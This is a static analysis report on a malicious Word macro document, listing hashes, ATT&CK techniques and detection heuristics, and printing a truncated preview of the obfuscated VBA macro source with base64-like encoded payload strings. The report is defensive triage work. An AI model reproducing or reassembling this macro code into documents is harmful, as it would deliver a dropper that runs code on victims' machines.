Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27690febddc8bf29…

MALICIOUS

Office (OLE)

96.5 KB Created: 2017-10-25 05:55:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 86d9872bd59a542e357f3e7b8c417b7d SHA-1: 17b6b1e74ec74dbfac6855af8fd465fd821a4010 SHA-256: 27690febddc8bf29d57cee5e527e3a386d0d32afa4ae9bc1fa4a18cf849f5be3
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary code. The presence of obfuscated VBA code and the ClamAV detection 'Doc.Macro.Obfuscation-6355576-0' strongly suggest this is a downloader or dropper.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 60013 bytes
SHA-256: 909df11129197e89f037e77019377113bbba8764b051c3917e7035a5a0b432bb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 98 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function OWtduNddf()
XZKXASX = "BB7ojVzMUNLzsUjhNkiRjLzqjpBzXRRnDqNMlXwHIIiLhQFwRKhoFvaXfiErTwpDvXtCGWvpmaJbjmITjDhNjdiHPphHTHnJTbPJWDrvOrCimzrtWlHPRbTSplmQooWfmAHEWwwjLlwsbEVQwolizYrrIzUkQbGZVWrlrmWXoaDfdbrkQVSADofOIQwYiMPkfZWEMkYLRNtYUMOhGkUvIGWhqcdbqwtcLTADEmXjwHipuHuwBPRurUcYCpNkHzVTURNBLKcTMowBYjnjijaajzkqqbBOZnYIZHKDL37C"
hRHTlV = Mid(XZKXASX, 4, 284)
aidWTZ = hRHTlV
orBkcncWt = "DUKK7BRZvihZDPqoLzwSDzidjcpjZjTpwlOtzElTpzcfEmPsQYoYPLXEKWjzmUzPLrbRAwpGLfcGVzYtNzSAruZnNKjcUGGB9O0Z6RV0EX"
rFGLqv = Mid(orBkcncWt, 8, 86)
BjjLGdz = rFGLqv
rHkCZUESB = "JS35R25VUJM8NYUX4XYO4IW46TPSYFRizTMwtWYJlMSHHNzWOdbCpAPacD0UA"
sEIpIbzzFMm = Mid(rHkCZUESB, 31, 28)
CpfHBRUbc = sEIpIbzzFMm
EHXjbri = "DZOhUrdjzoGVXsNzFFFfqiZlECzJWqrzoiXsvFBqwvWCAnsKzHSaIoWiwldRrTMIw222VLLM"
wksMEu = Mid(EHXjbri, 4, 62)
SSmwaWrn = wksMEu
RRvwzUJziw = "6ETM47AS2CIKC3AHQZ0HYMYJHVIzlPVcttkqmzhDWaAWCdBaXumVhXKkJNuYPwPIKKqowjoiRjTPbiMvmwcqcAvWjzhYCJoXLrLsnMdoGDDADuJfBzmQWZjKPUFwBPfIswEjSUHZVnkYwuSoqCXDWXAmLBdTGhmqXvIHpZMjsNvioHNUBRFzsclVvSYQrnSnBtAAmLwRpqKJbRzDnISpbnzvKmMXBvpEuHhuHNiqSoJCSbtdUUdjVcMNvFqzwbPuAFOUkCwaabXnivditiCjSGjSvTwBXirqYOBMNZtSYDIuEZjAcHF7BW35XR7H"
VjHmFYAiYMK = Mid(RRvwzUJziw, 28, 280)
DDYnXDHc = VjHmFYAiYMK
oaOEsF = "M3ZPZjcuWwYQDuDrjhOPtQVUpkHPzoNWkwZPcbRomGpQAcOiAQKXKUGLmlapcMzhjCjFUnOIPZcmbETNVcPjipLPrNdrBcMaJHhwwIJMCCIksUkhRNTzzQDtqROHKXGnMCcTWVQNTCichaWXdvaoINctEnHfuCCivUYqrQKwwGjvlbMPuriOwSizZjPjNlTQAzjMCffMkisChhHcbskCYnhdpYQHAbiKnPumuzNOLRiSacRsbnHVAQsNRDWdPXLIvhOSmVhbiVqGIPDNGYjNUNJWW7OA28YVLF4"
bGsrtYhlvb = Mid(oaOEsF, 4, 278)
qIbKzSA = bGsrtYhlvb
uviSKImamw = "K4OX5X7A00IjoVVEAEPjvIXkQKpJPYQozLsvJcjwiiNFsGDoiCSVtHbWZAMGCKwkfTjcdZvYURBMvRsKHAiNGuvskVWIPcvUmcZYZbLFHtBcFPbHICzCjjikXorHDmIrVhaSrTkjoZGMtTmVuOANctoCwoBljEBVlJGYpIPpRTNGdSqECWMolvOctXTCSzwkXlakNOjlwLvJfhZjzwiMrMjqudiRpMWSWdisrGroqaqOADIP"
hiawEi = Mid(uviSKImamw, 11, 225)
NwwdcNI = hiawEi
JbUfBAI = "G3ZK7327MFHRHD6P1ORZKLJqojSTBIBBmkXqGPHEbdElWTuNQzMQWOapstCDQvvdnbzRarhcwpunRXUUlEDCvkfYJizNMDnjibwuTdmYRkSjTnXVZhSLrtiCvbHstUPuBNFqYZAISikKSzEWKcnilbposvzsVufwUXiFhjwzjJtMIXjwXlhRjkJaYRwdaImXzoqvVwpifowbicfULCUkMNPjOEhPiTYYXVNUhobZvDmsmhrwldRXoCLmYGhQRZv0NJACWOZ"
kKVYirpr = Mid(JbUfBAI, 23, 233)
PALua = kKVYirpr
KBTQKsQbcRH = "1P10C0azFzMznEVQksLBkqjjOwlodmCwhorFuWRW7VKAP0M3AEKT"
iNDQbPAw = Mid(KBTQKsQbcRH, 7, 34)
ihUfJor = iNDQbPAw
End Function
Function LPaEMOKnX()
DITVzz = "X0QO6856CZHN7JDK3AgADEAMAA1ACAALAAxADAAMQAgACwAIAAxADEANQAsADQANgAgACwAIAAxADEAMAAgACwAIAAxADAAOAAsACAANAA3ACwAIAA4ADIAIAAsADcANwAgACwAIAA5ADcAIAAsADEAMQA3ACwAIAA4ADcAR"
EUALA = Mid(DITVzz, 18, 149)
jXVVZhFqL = EUALA
ucIBrVnBH = "63ZAAWHQAsADEAMAAxACAALAAgADEAMQAwACwAMQAxADYALAA1ADkAIAAsACAAMwA2ACAALAAxADEANAAgACwAOQA3ACwAIAAxADEAMAAgACwAIAAxADAAMAAsACAAMQAxADEAIAAsACAAMQAwADkAN529BEJQGU3W0N5UKBCY5PX0IF00BY"
zJwnHZ = Mid(ucIBrVnBH, 8, 143)
wLtNhbjh = zJwnHZ
JuAVIOT = "XD6VHZVVADEANgAgACwAMQAxADQALAAgADEAMAA14ZL"
ikniTz = Mid(JuAVIOT, 9, 32)
WNBbUpfit = ikniTz
RNsLUUV = "RROAAgACwANgA3ACAALAAxADAAOAAgACwAIAAxADAAN1SLGP2GPXR"
WSCvalKcd = Mid(RNsLUUV, 3, 41)
HRwkIm = WSCvalKcd
tscDfJwhiSd = "MBKACwAMQAxADYAIAAsADQANgAsADgANwAgACwAIAAxADAAMQAsADkAZ0AE57R09823XAS9EUY3A1T4F91U4E98FSQC"
RPzzwkX = Mid(tscDfJwhiSd, 4, 52)
DINcBqIwfwq = RPzzwkX
BkcwKpZjAMM = "81HsADEAMQA0ACwAMQAwADUALAAgADEAMQA2ACwAMQAwADEALAAgADQAUTL8H9U6VEMUYEDK2CH2J2NGU"
BfzLZM = Mid(BkcwKpZjAMM, 4, 53)
MflKl = BfzLZM
SPaqSzDTBB = "BYTYKKNACAAMQAxADIAIAAsACAANAA1ACAALAAxADEANgAgACwAIAAxADAAMQAgACwAOQA3ACAALAAgRS03GOH2RANANBNKTEYL"
duHJWmSjC = Mid(SPaqSzDTBB, 8, 72)
vsiujVbROY = duHJWmSjC
DWDiDGmNA = "3QWYJYGEJ53NXAN85KUTQP5J8TMU7VUGALAAgADQANwAsADEAMQAyACAALAAxADEANwAgACwAMQAwADUALAAxNTG"
fkkbAhQmMc = Mid(DWDiDGmNA, 33, 53)
jJmFC = fkkbAhQmMc
MATsd = "MADEAMAAwACwAIAAxADAANQAg
... (truncated)

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